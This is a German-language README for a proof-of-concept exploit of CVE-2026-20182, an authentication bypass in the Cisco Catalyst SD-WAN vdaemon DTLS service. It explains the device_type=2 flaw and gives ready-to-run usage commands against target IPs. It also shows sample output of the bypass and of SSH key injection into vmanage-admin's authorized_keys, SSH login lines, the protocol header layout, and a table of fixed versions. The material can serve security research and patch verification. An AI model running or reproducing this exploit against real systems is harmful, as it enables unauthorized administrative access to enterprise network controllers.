
CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Umgehung der Authentifizierung (CVSS 10.0)
Ein Proof-of-Concept-Exploit für CVE-2026-20182, eine kritische (CVSS 10.0) Authentifizierungsumgehung im vdaemon-DTLS-Dienst (UDP/12346) auf Cisco Catalyst SD-WAN Controller (vSmart) und Manager (vManage).
Offengelegt: 14. Mai 2026 von Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Hinzugefügt am 14. Mai 2026 (Notfall-Direktive 26-03)
CVSS: 10.0 — CWE-287: Fehlerhafte Authentifizierung
Der vdaemon-Dienst verwendet einen mehrphasigen DTLS-Handshake, um Control-Plane-Peers zu authentifizieren. Die Funktion vbond_proc_challenge_ack() implementiert eine gerätetypspezifische Zertifikatsprüfung — aber Gerätetyp 2 (vHub) besitzt keinen Prüfpfad. Das Senden eines CHALLENGE_ACK mit device_type=2 führt dazu, dass die Funktion alle Bedingungen durchfällt und peer->authenticated = 1 bedingungslos setzt.
Es sind keine gültigen Anmeldedaten, kein CA-signiertes Zertifikat und keine Kenntnis der SD-WAN-Bereitstellung erforderlich.
/home/vmanage-admin/.ssh/authorized_keys über MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argument | Beschreibung |
|---|
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100
# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
cisco_sdwan_vhub_auth_bypass — Hilfsmodul im Metasploit-FrameworkDer vdaemon-Protokoll-Header ist 12 Bytes lang:
Gerätetypen: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl-CLI (für den DTLS-Transport)cryptography-Bibliothek (pip install cryptography)Dieser Exploit ist ausschließlich für autorisierte Red-Team-Operationen, Penetrationstests und Sicherheitsforschung an Systemen bestimmt, für die Sie eine ausdrückliche schriftliche Genehmigung besitzen. Die unbefugte Nutzung ist illegal.
-t, --target | Ziel-IP oder Hostname |
--port | vdaemon-UDP-Port (Standard: 12346) |
--key-file | Pfad zu einem vorhandenen öffentlichen SSH-Schlüssel, der injiziert werden soll (optional) |
--netconf | Überprüft die Ausnutzung durch Verbindung zu NETCONF über SSH |
| Version | Behobene Version |
|---|
| < 20.9 | Migrate to supported release |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
| Offset | Größe | Feld | Hinweise |
|---|
| 0 | 1 | msg_type | Niedriges Nibble = Typ, hohes Nibble = Version |
| 1 | 1 | device_info | Hohes Nibble = device_type, niedriges Nibble = flags |
| 2 | 1 | flags | Standardwert 0xA0 |
| 3 | 1 | padding | Immer 0x00 |
| 4-7 | 4 | domain_id | Big-endian uint32 |
| 8-11 | 4 | site_id | Big-endian uint32 |